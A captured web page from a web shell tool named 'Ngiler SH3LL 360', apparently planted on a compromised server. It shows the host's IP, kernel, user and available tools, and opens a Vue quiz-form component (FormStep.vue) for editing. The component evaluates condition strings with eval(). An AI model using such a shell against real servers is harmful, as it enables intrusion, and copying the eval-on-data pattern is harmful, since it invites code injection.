Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
duplicat_sala_palatului
/
resources
/
js
/
components
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
FormStep.vue
| Size :
24.41
KB
Copy
<template> <div class="content-step form-step" v-bind:class="{larger: question.has_larger_size == true}"> <div class="question"> <h1 class="title"> <!-- <span class="overlay">{{ step_no < 10 ? '0' + step_no : step_no }}<span class="upper">/39</span></span> --> <span class="question" v-html="title"></span> </h1> <!-- <div class="small-line"></div> --> <div class="description" v-if="question.description || question.image || question.video"> <div v-html=question.description></div> <img :src="'images/' + question.image" v-if="question.image"> <div class="video-description" v-if="question.video"> <div v-if="question.type_video == 'wistia'" :id="'wistia_'+question.video" class="wistia_embed"> </div> <div class="videoWrapper" v-else-if="question.type_video == 'vimeo'"> <vimeo-player ref="player" :video-id="question.video"/> </div> </div> </div> </div> <div class="subtitle" id="subtitle_description" v-html="html_subtitle"> </div><!-- .subtitle --> <div class="form" v-for="answer in question.answers"> <div class="field" v-for="field in answer.fields"> <input type="text" class="input-quiz" :id="'input_' + field.name" :placeholder="field.placeholder" v-if="field.type == 'text'"> <input type="number" class="input-quiz" :id="'input_' + field.name" :placeholder="field.placeholder" :min="field.min" :max="field.max" v-if="field.type == 'number'"> <masked-input class="input-quiz" :id="'input_' + field.name" :placeholder="field.placeholder" :min="field.min" :max="field.max" v-model="cifra_afaceri" :mask="numberMask" v-if="field.type == 'number_mask'"></masked-input> <textarea v-else-if="field.type == 'textarea'" :id="'input_' + field.name" :placeholder="field.placeholder" class="textarea-quiz"></textarea> <select v-else-if="field.type == 'dropdown'" :id="'input_' + field.name" class="select-quiz" :required="field.required"> <option :selected="true" value="">{{ field.placeholder }}</option> <option v-for="option in field.options" v-bind:value="option.value">{{ option.text }}</option> </select> <slider-component v-else-if="field.type == 'slider'" :updateSlider="updateSlider" :field="field"/> <multiselect-component v-else-if="field.type == 'multiselect'" :updateMultiselect="updateMultiselect" :field="field" /> <multicheckbox-component :id="'input_' + field.name" v-else-if="field.type == 'multicheckbox'" :updateMulticheckbox="updateMulticheckbox" :field="field" /> <geolocation-component v-else-if="field.type == 'geolocation'" :updateGeolocation="updateGeolocation" :field="field" /> <datetime-component v-else-if="field.type == 'datetime'" :updateDatetime="updateDatetime" :field="field" /> <span class="message-error">Acest camp este obligatoriu</span> <!-- <div class="icon-status"><check /></div> --> </div> <div class="error-message" v-if="error_message" v-html="error_message"></div> </div> <div class="answer"> <div class="position-relative" v-for="(answer, key) in question.answers" :key="key"> <div class="answer-button form-button" @click="setActive(key,answer)" v-bind:class="[active_answer == (questionKey + '-' + key) ? 'active' : '']"> <img class="img-answer" v-if="answer.image != null && answer.image != ''" :src="'images/' + answer.image"> <div class="video-answer" v-if="answer.video"> <div v-if="answer.type_video == 'wistia'" :id="'wistia_'+answer.video" class="wistia_embed"> </div> <div class="videoWrapper" v-else-if="answer.type_video == 'vimeo'"> <vimeo-player ref="player" :video-id="answer.video"/> </div> </div> <button class="answer-form">{{answer.title}}</button> </div> </div> <!-- <div class="back_button" @click="back_to_previous" v-if="showPreviousBtn"> <button><arrow-left></arrow-left> Intrebarea precedenta</button> </div> --> </div> </div> </template> <style src="vue-multiselect/dist/vue-multiselect.min.css"></style> <script> import Check from "./assets/Check"; import NextIcon from "./icons/Next"; import ArrowRight from "./icons/arrow-right"; import ArrowLeft from "./icons/ArrowLeft"; import MultiselectComponent from "./MultiselectComponent"; import MulticheckboxComponent from "./MulticheckboxComponent"; import SliderComponent from "./SliderComponent"; import GeolocationComponent from "./GeolocationComponent"; import DatetimeComponent from "./DatetimeComponent"; import MaskedInput from 'vue-text-mask'; import createNumberMask from 'text-mask-addons/dist/createNumberMask' export default { data() { return { active_answer: 'nothing', answer_selected: 'nothing', title_question: '', showPreviousBtn: true, html_subtitle: '', multiselect_values: [], geolocation_values: [], multicheckbox_values: [], slider_values:[], datetime_values:[], numberMask: createNumberMask({ prefix: '', suffix: ' €', }), cifra_afaceri: "", error_message: false } }, components: { 'check': Check, 'next-icon': NextIcon, 'arrow-right': ArrowRight, 'arrow-left': ArrowLeft, 'multiselect-component': MultiselectComponent, 'multicheckbox-component': MulticheckboxComponent, 'slider-component': SliderComponent, 'geolocation-component': GeolocationComponent, 'datetime-component': DatetimeComponent, 'masked-input': MaskedInput }, computed:{ title: function(){ let quiz_obj = JSON.parse(localStorage.getItem('quiz')) var new_title = ''; var html_subtitle = ''; var regex_get_value = /(?:\#)([^#]+)(?=#|$)/; var title_escaped = ''; var new_title_v1 = ''; var scope = this; this.question.title.every((element) => { if(element.condition == 'true'){ if(regex_get_value.exec(element.title)){ title_escaped = eval(regex_get_value.exec(element.title)[1]); } new_title_v1 = element.title.replace(/\#([^#]+)\#/g , title_escaped); new_title = new_title_v1.replace('{','<mark>').replace('}','</mark>'); new_title = new_title.replace('&name', this.name_referral); this.title_question = new_title; this.html_subtitle = element.subtitle html_subtitle = $.parseHTML(html_subtitle); return false; } if(eval(element.condition)){ if(regex_get_value.exec(element.title)){ title_escaped = eval(regex_get_value.exec(element.title)[1]); } new_title_v1 = element.title.replace(/\#([^#]+)\#/g , title_escaped); new_title = new_title_v1.replace('{','<mark>').replace('}','</mark>'); new_title = new_title.replace('&name', this.name_referral); this.title_question = new_title; this.html_subtitle = element.subtitle html_subtitle = $.parseHTML(html_subtitle); return false; } return true; }) function has_key(string){ try{ return eval(string) }catch{ return null } } return new_title; } }, mounted() { this.$root.$emit("change_step_progress", true); if(localStorage.getItem('previous_step') == this.questionKey){ this.showPreviousBtn = false; }else{ this.showPreviousBtn = true; } this.question.answers.forEach((el) => { if(el.video && el.type_video == 'wistia'){ setTimeout(() => { var wistiaEmbed = Wistia.embed(el.video, { autoPlay: false, controlsVisibleOnLoad: true, videoFoam: { maxWidth: 960 }, copyLinkAndThumbnailEnabled: false, playerColor: "404040", seo: true }); }, 0); } }); if(this.question.video && this.question.type_video == 'wistia'){ setTimeout(() => { var wistiaEmbed = Wistia.embed(this.question.video, { autoPlay: false, controlsVisibleOnLoad: true, videoFoam: { maxWidth: 960 }, copyLinkAndThumbnailEnabled: false, playerColor: "404040", seo: true }); }, 0); } }, watch: { question: function (val) { if(localStorage.getItem('previous_step') == this.questionKey){ this.showPreviousBtn = false; }else{ this.showPreviousBtn = true; } this.answer_selected = ''; this.active_answer = ''; $("input[type=text], input[type=number], textarea").val(""); this.question.answers.forEach((el) => { if(el.video && el.type_video == 'wistia'){ setTimeout(() => { var wistiaEmbed = Wistia.embed(el.video, { autoPlay: false, controlsVisibleOnLoad: true, videoFoam: { maxWidth: 960 }, copyLinkAndThumbnailEnabled: false, playerColor: "404040", seo: true }); }, 0); } if (el.image || el.video) { this.answer_has_video_or_img = true; } }); if(this.question.video && this.question.type_video == 'wistia'){ setTimeout(() => { var wistiaEmbed = Wistia.embed(this.question.video, { autoPlay: true, muted: true, controlsVisibleOnLoad: true, videoFoam: { maxWidth: 960 }, copyLinkAndThumbnailEnabled: false, playerColor: "404040", seo: true }); }, 0); } } }, props: { question: Object, setNextQuestion: Function, previousSet: Function, questionKey: String, name_referral: String, step_no: '' }, methods: { updateDatetime(date, id){ if(this.datetime_values[id] == 'undefined'){ this.datetime_values[id] = []; } this.datetime_values[id] = date; }, updateSlider(obj, id){ if(this.slider_values[id] == 'undefined'){ this.slider_values[id] = []; } this.slider_values[id] = obj; console.log(obj,this.slider_values) }, updateMulticheckbox(obj, id){ if(this.multicheckbox_values[id] == 'undefined'){ this.multicheckbox_values[id] = []; } this.multicheckbox_values[id] = obj; }, updateGeolocation(obj, id){ if(this.geolocation_values[id] == 'undefined'){ this.geolocation_values[id] = []; } this.geolocation_values[id] = obj; }, updateMultiselect(obj, id){ if(this.multiselect_values[id] == 'undefined'){ this.multiselect_values[id] = []; } this.multiselect_values[id] = obj; }, setActive(key, answer){ this.active_answer = (this.questionKey + '-' + key); this.answer_selected = answer; var fields_data = []; var error = false; this.error_message = false; let onLoading = false; var axiosInProgress = false; this.question.answers.forEach((answer) => { answer.fields.forEach((field) => { if(['slider','multiselect','multicheckbox','geolocation', 'datetime'].indexOf(field.type) >= 0){ if(field.type == 'datetime' && this.datetime_values[field.name] == ''){ error = true; $('#input_' + field.name).parent('.field').addClass('has-error'); $('#input_' + field.name).parent('.field').find('.message-error').html('Acest camp este obligatoriu') }else if(field.type == 'multicheckbox' && (!(field.name in this.multicheckbox_values) || this.multicheckbox_values[field.name].length == 0 ) && field.required){ error = true; $('#input_' + field.name).parent('.field').addClass('has-error'); $('#input_' + field.name).parent('.field').find('.message-error').html('Acest camp este obligatoriu') }else{ fields_data.push({name: field.name, placeholder: field.placeholder, value: $('#input_' + field.name).val() || this.multicheckbox_values[field.name] || this.multiselect_values[field.name] || this.slider_values[field.name] || this.geolocation_values[field.name] || this.datetime_values[field.name]}); } }else{ if(field.required && ($('#input_' + field.name).val() == '' || ( field.name == 'phone' && $('#input_' + field.name).val().length <3) )){ error = true; $('#input_' + field.name).parent('.field').addClass('has-error'); if($('#input_' + field.name).val() == ''){ $('#input_' + field.name).parent('.field').find('.message-error').html('Acest camp este obligatoriu') }else{ $('#input_' + field.name).parent('.field').find('.message-error').html('Introdu minim 3 caractere') } }else if(field.required && field.name == 'cui'){ var quizResponses = JSON.parse(localStorage.getItem('quiz')); fields_data.push({ name: field.name, placeholder: field.placeholder, value: $('#input_' + field.name).val() }); if(Object.keys(quizResponses).length && ((quizResponses[5] && quizResponses[5].answers.length && quizResponses[5].answers[0].value == 'romania') || (!quizResponses[7]['answers'][0]['fields'][0]['value'].includes('nimic')))) { onLoading = true; var fieldValue = $('#input_' + field.name).val(); axios.post('/validate-cui', { cui: fieldValue, is_client: quizResponses[7]['answers'][0]['fields'][0]['value'].includes('nimic') ? false : true }).then((result)=>{ if(result.data.status == 'error'){ error = true; $('#input_' + field.name).parent('.field').addClass('has-error'); $('#input_' + field.name).parent('.field').find('.message-error').html(result.data.message); } else if(result.data.status == 'cui_already_used'){ error = true; this.error_message = result.data.message; }else{ onLoading = false; } }); } }else if(field.required && field.name == 'email'){ fields_data.push({ name: field.name, placeholder: field.placeholder, value: $('#input_' + field.name).val() }); if(!(/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)+$/).test($('#input_' + field.name).val())){ error = true; $('#input_' + field.name).parent('.field').addClass('has-error'); $('#input_' + field.name).parent('.field').find('.message-error').html('Emailul nu este valid'); }else{ onLoading = true; console.log("E in afara axiosului"); axiosInProgress = true; axios.post('/validate-email', { email: $('#input_' + field.name).val(), }).then((result)=>{ console.log("E inauntru"); if(result.data.status == 'email_already_used'){ error = true; $('#input_' + field.name).parent('.field').addClass('has-error'); $('#input_' + field.name).parent('.field').find('.message-error').html(result.data.message); }else{ onLoading = false; } }).finally(() => { axiosInProgress = false; }); } }else if(field.required && field.name == 'phone' && !(/^(?:\+\d{1,3}|0\d{1,3}|00\d{1,2})?(?:\s?\(\d+\))?(?:[-\/\s.]|\d)+$/.test($('#input_' + field.name).val()))){ error = true; $('#input_' + field.name).parent('.field').addClass('has-error'); $('#input_' + field.name).parent('.field').find('.message-error').html('Numarul de telefon nu este valid') }else if(field.required && field.type == 'number'){ var elem = $('#input_' + field.name); // min si max definit if(field.min != null && field.max != null && (elem.val() < parseInt(field.min) || elem.val() > parseInt(field.max))){ error = true; elem.parent('.field').addClass('has-error'); elem.parent('.field').find('.message-error').html('Introduceti o valoare intre '+field.min+" si "+field.max); } // min definit if(field.min != null && field.max == null && elem.val() <= parseInt(field.min)){ error = true; elem.parent('.field').addClass('has-error'); elem.parent('.field').find('.message-error').html('Introduceti o valoare mai mare de '+field.min); } // max definit if(field.min == null && field.max != null && elem.val() >= parseInt(field.max)){ error = true; elem.parent('.field').addClass('has-error'); elem.parent('.field').find('.message-error').html('Introduceti o valoare mai mica de '+field.max); } if(error == false){ $('#input_' + field.name).parent('.field').removeClass('has-error'); $('#input_' + field.name).parent('.field').find('.message-error').html('') fields_data.push({name: field.name, placeholder: field.placeholder, value: $('#input_' + field.name).val(),multicheckbox_values: this.multicheckbox_values,multiselect_values: this.multiselect_values,slider_values: this.slider_values}); } }else{ $('#input_' + field.name).parent('.field').removeClass('has-error'); $('#input_' + field.name).parent('.field').find('.message-error').html('') fields_data.push({ name: field.name, placeholder: field.placeholder, value: $('#input_' + field.name).val(), multicheckbox_values: this.multicheckbox_values, multiselect_values: this.multiselect_values, slider_values: this.slider_values }); } } }) }); var checkFinishVerificaitons = setInterval(() => { if(!onLoading && !axiosInProgress){ if(!error){ console.log('fields_data', fields_data) setTimeout(() => { $('.answer-button.active').removeClass('active'); }, 50); console.log("Merge la urmatorul pas"); this.setNextQuestion(this.questionKey, this.answer_selected, this.title_question, key, fields_data) this.$root.$emit("change_step_progress"); } clearInterval(checkFinishVerificaitons); } }, 50); }, back_to_previous(){ this.previousSet(); } } } </script>
Back